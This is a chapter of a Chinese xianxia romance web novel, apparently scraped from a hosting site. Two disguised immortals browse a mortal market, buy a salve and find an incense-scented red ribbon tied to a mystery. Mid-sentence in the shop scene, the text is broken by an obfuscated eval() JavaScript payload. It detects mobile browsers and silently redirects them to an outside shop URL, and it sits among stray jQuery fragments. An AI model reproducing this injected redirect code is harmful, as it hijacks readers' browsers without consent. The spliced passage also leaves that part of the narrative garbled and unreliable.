文趣网 > 其他小说 > 衔月 > 30.红绸引
    月芜正襟危坐,仿佛刚刚睨了一眼的人不是他。珩夜觉得好玩,月芜说“我不会吻我的族弟”,又没说不会吻珩夜。珩夜勾起嘴角,他喜欢和月芜玩这些身份游戏。

    珩夜看着月芜喝茶的样子,忽然好奇凡间的茶是什么味道,挤过来问:“好喝吗?”

    “你可以试试,”月芜给他倒了一盏,安排他们接下来的行动,“喝完茶,我们先去各大商铺转一转。”

    珩夜试过了,茶中一丝灵气也无,对仙人来说口感并不好,他生疏地使用去尘诀,问道:“林氏典当行?”

    “不,”月芜重新戴好帷帽,一抚腰间的明珠吊坠,“不要让他人发现我们的真实目的。”

    月芜在凡间的一切言行都让珩夜感到新奇,他托着下巴歪在桌边,很想像月芜那样游刃有余,他在想,自己能做些什么。

    “珩夜?”月芜唤他一声,“走了。”

    “嗯……”珩夜起身,突然贴近他用力一勾他的手心,又迅速放开。

    “……”突如其来地,小龙在他手心留下一道热痕。

    珩夜上前拉开房门,笑意盈盈道:“走吧,阿姊。”

    月芜的帷帽仰起,隐约是瞪了他一眼。

    珩夜笑出声来。

    “叶娘子、叶员外,”掌柜几乎他们刚下楼便迎了上来,笑脸殷勤,关心道,“房间布置如何,茶水还满意吗?”

    珩夜不喜欢添的那张床榻,挑了能说的说:“茶一般,像往年的陈茶。”

    掌柜立时赔笑:“我们有好几款茶叶,我这就让人冲泡,端来品鉴,员外稍等片刻?”

    “不了,我们要出门,去商铺转转,”月芜十分自然地提出要求,“请掌柜借我两位仆从,我们的侍从出去办事还没回来。”

    “好说,好说。”掌柜没有多问,直接唤来两人,当面叮嘱他们要将月芜二人伺候好。

    其中一位就是之前给他们带路的小厮,自己介绍叫小六。另一个看着憨实,似乎不会说话,被掌柜唤作哑叔。

    小六十分机灵,出门便问月芜:“叶娘子想逛哪些铺子?小人可以帮忙带路。”

    “不知道弄巧城有什么,都去瞧一瞧,可以着重看看玉石奇货。”

    小六状若无意地笑问:“难道娘子家是做玉石奇货生意的?”

    月芜立时冷淡道:“带路。”

    小六的神情一滞,之后便安分许多,不再打探,老老实实将他们带到一条繁华的街市。

    雕龙画凤的气派坊门,能供两辆马车并行的宽阔街道,摩肩接踵的鼎沸人群,此起彼伏的吆喝买卖。珩夜眼中多了几分好奇,月芜看着也多了几分打量。

    小六以为他们震撼,笑容流露出骄傲得意,比手介绍道:“此处是弄巧城西市,由小侯爷与各大商会联手打造,是镇南王辖地中是品质最好、最热闹的市集。明天花仙节,舞龙舞狮、杂耍踩跷、花仙游街……所有游行队伍都从这里出发。”

    “‘天街’,”珩夜指着坊门匾额上的字,笑道,“好大的口气。”

    小六嘿嘿一笑:“您进去逛一逛,便知不是吹牛。”

    月芜看着那漆红明亮的柱身:“看上去,是近年落成的街市?”

    “是呢,建造耗时两年之久,去年冬至刚刚剪彩。”

    他们步入“天街”,首先入眼的是一家叠一家的果饮茶汤铺,铺面装潢比他们入城时看到的更加精美,层高多数在两层以上。茶香果香交织,传递出清清甜甜的人间烟火气。

    月芜随口与小六闲谈:“这位小侯爷,十分看重弄巧城。”

    “小侯爷搬迁府邸来到弄巧城,是我们天大的福分,”小六满脸与有荣焉,“我们拜月楼,就是小侯爷赐名的!”

    珩夜不知道这个“小侯爷”是谁,但他很快联想到花灯摊贩说的“镇南王的弟弟”。

    月芜没有询问确认,珩夜便不多问。只是他挺好奇,他是仙界的渊侯,还没见过凡间的侯爷。

    珩夜对“商铺”没有概念,左右观瞧,看什么都新鲜。

    月芜便道:“你感兴趣的,我们都去看看。”

    小六说出自己的用心:“咱们从南门向北走,一路赏玩,最后便是玉石奇货的区域。”

    月芜赏了他一颗银珠子,小六脸上的笑容越发狗腿起来。

    珩夜喝过凡间的茶,对吃食失去兴趣。走过这一片,茶果清甜的夹缝中传来一股腻人的脂香,珩夜鼻尖微动,拧了拧眉。他们前方是几家胭脂香膏铺,往来都是女客。

    珩夜见过桃树仙灵装扮西王母,胭脂香膏知道个大概,但他和月芜都用不上,因此不打算停留。

    即便珩夜用蜃息丹调整了容貌,依旧十分出彩。而月芜,虽然戴着帷帽,身形也没有变,但他穿着裙装,腰间又佩着粉色的珠坠,自然被认作女子。商铺门口的女客们陆续向他二人看来。

    月芜颇有几分雌雄莫辨的美感,更加瞩目。

    路过的头两家商铺,侍女光顾着欣赏,又被月芜清冷的气质所慑,没敢上前。路过第三家时,一位窈窕妇人却突然拿着香膏突然上前,伸手去拉月芜:“娘子——”

    话未说完,便被珩夜拦住,沉眉看她:“你做什么?”

    月芜略侧半步,走到珩夜身后,他按下珩夜的手臂,对那妇人道:“我不用香膏——我们走吧。”

    妇人被珩夜吓了一跳,手上的香膏滚落,露出她托呈在下的一根红绸。

    珩夜看着红绸上金色的字,视线微凝。

    小六上前呵斥那妇人冲撞贵客,妇人捡起商品,不住地道歉。

    月芜没有理会,珩夜却唤住他:“阿姊,是我把她吓着了,不如我们进店看看?”

    不等他拒绝,珩夜不由分说拉住月芜的手腕,带他一同走进店里。

    月芜压下疑惑,环视店中,果然发现柜台内侧搭着一堆红绸,末端用金粉印着“太阴庙赐福”。帷幕下,他拧起眉心。

    一楼的脂粉香膏气味融化在一起,花香重叠,皂味厚重,珩夜一进店便掩住口鼻。小六立马道:“我们拜月楼的贵客不看俗物,还不快快请到楼上去!”

    月芜看向珩夜的背影,按住眉间,揉散不悦的心绪,率先走向楼梯。

    妇人欣喜万分,连连比手请他们上二楼。屏风

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17640979|205593||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    隔出茶座,但他二人没有落座的心思。珩夜在柜台转了一圈,都觉得简陋,配不上月芜。而且二楼反倒没有那些红绸,只妇人手上拿着一条。

    珩夜清了清嗓子,问:“没有更好的吗?”

    妇人将镇店的胭脂和香膏都摆出,他闻了闻,还是摇头。

    珩夜不知道如何将话题引到红绸上,看向月芜问:“你觉得呢?”

    “我说了,我不用香膏,”月芜站在楼梯口,声音冷淡,像是对方才的冲撞耿耿于怀,“你想赔礼,就挑她方才手上递出的那个好了,何必因此破费。”

    珩夜觉得月芜真是聪明极了,他这样说话也很有趣味,珩夜笑起来:“行吧,按你说的来。”

    妇人没能做成大买卖,有几分失落。珩夜瞧见,觉得凡人挺有意思的,敢来抓天刑司掌教的手,天上的仙人除了他,没人敢有这种想法。

    妇人将香膏装在小盒中,月芜付了银钱。钱到手,妇人笑起来。

    珩夜指着妇人手上的红绸:“这个是赠品?”

    “原本要买两盒才送的,今日冲撞了娘子,真是对不住,”妇人便一并将红绸递给月芜,掩唇笑道,“这是太阴庙开过光的绸带,祝郎君和娘子良缘美满、白头偕老!”

    “哎呀!”小六连忙瞪她,小声斥道,“这二位是姐弟,不是夫妻!”

    月芜拿着红绸的手顿住,帷帽转向珩夜。

    “啊?”妇人立时住嘴,看看这个又看看那个,再看看他们手中的戒指,不可置信,“您二位……是姐弟?”

    “不像吗?”珩夜笑问。他抽出月芜手中的红绸,卷了卷拿在手里。

    “……不像,”妇人迟疑着摇头,“我当了十年的媒婆,卖了六年的胭脂,第一次看错!那您二位,想来是远亲吧?”

    珩夜笑出声来:“他是我族姐。”

    “我就说,肯定不是亲姐弟,”妇人饱含期待地看向月芜,“娘子不再看看胭脂吗?娘子气质卓绝,若是妆点胭脂,还有花仙什么事?我们的胭脂可是弄巧城一绝啊!”

    月芜拒绝:“不必。”

    小六在旁搭话:“买了香膏,你知足便是。你要是看见叶娘子的真容,便知道什么是真正的天仙下凡,根本用不着胭脂香膏这些俗物!”

    妇人这会儿不害怕了,打量珩夜笑说:“娘子不用,郎君送给未婚妻当定情信物也是可以的呀!”

    “未婚妻”,这个称呼珩夜第一次听;“定情信物”,珩夜看向月芜腰间的夜明珠,觉得这个词也很不错。

    月芜一时僵住,不知如何行走才不会碰到垂坠的夜明珠。

    “买好了就走吧。”月芜言毕径直下楼。行动间纱帷飘起,露出他的侧颜,旁边有女郎小小的惊呼声。月芜拉住轻纱,遮掩他微恼的表情。

    等珩夜下楼来,只看见货柜旁怔怔望向店外的女客,月芜早走到前面去了。

    珩夜看看手中的红绸,忽而凑近鼻尖,闻到一股淡淡的焚香味——

    他抬头看了一眼月芜离去的方向,将绸带塞入袖中。

    焚香。和他在城门外时闻到过的焚香味道,一模一样。